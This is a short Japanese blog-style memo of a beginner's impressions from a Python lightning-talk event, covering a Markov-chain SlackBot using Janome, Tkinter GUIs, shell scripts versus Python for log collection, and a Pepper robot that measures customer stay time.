初めてのLT

ぺちぱー

会社で10%ルール → 10%は好きな開発ができる
SlackBotに日本語しゃべらせたい

 

機械学習チックなことをしている

2階マルコフ連鎖
形態素解析

 

形態素解析機:Janome

見よう見まねで作ってみてみたらうまく動いた!

今後はpythonらしいコードを書きたい

 

#PythonでTkinterを使ってみる


PythonGUIで作れる!

今やりたいことと一致してるから、興味ある。

使ってみたい。

 

#新人インフラエンジニアとPython


シェルスクリプトよりも適した道具を使いましょう

python2.7で開発
シェルスクリプトでできないことが見つからない→Python...なに使うの?

 

ログ自動取得化プログラムを作成

 

使いどころを見極める。

・ササッと作るものはシェルスクリプト
・なんども使うものはPythonで作る

 

Pythonに慣れてサーバサイド開発にすり寄っていきたい。

 

#お客さん滞在時間を計測するシステムを作ってみた

PepperはPythonで開発ができる

テーマを元にハックする

ロボットと人間が実現する働き方革命
お客さんお滞在時間に応じてひと声かけるペッパーを開発

wioNode搭載座布団で滞在時間を図る。

 

結論
すげえ

というか知らない単語が多かった。

 

時間の関係上、途中で帰ってしまいましたが非常にPythonの勉強をするモチベーションアップにつながりました。

 

もっともっと勉強して、自分もLTに参加したいですね。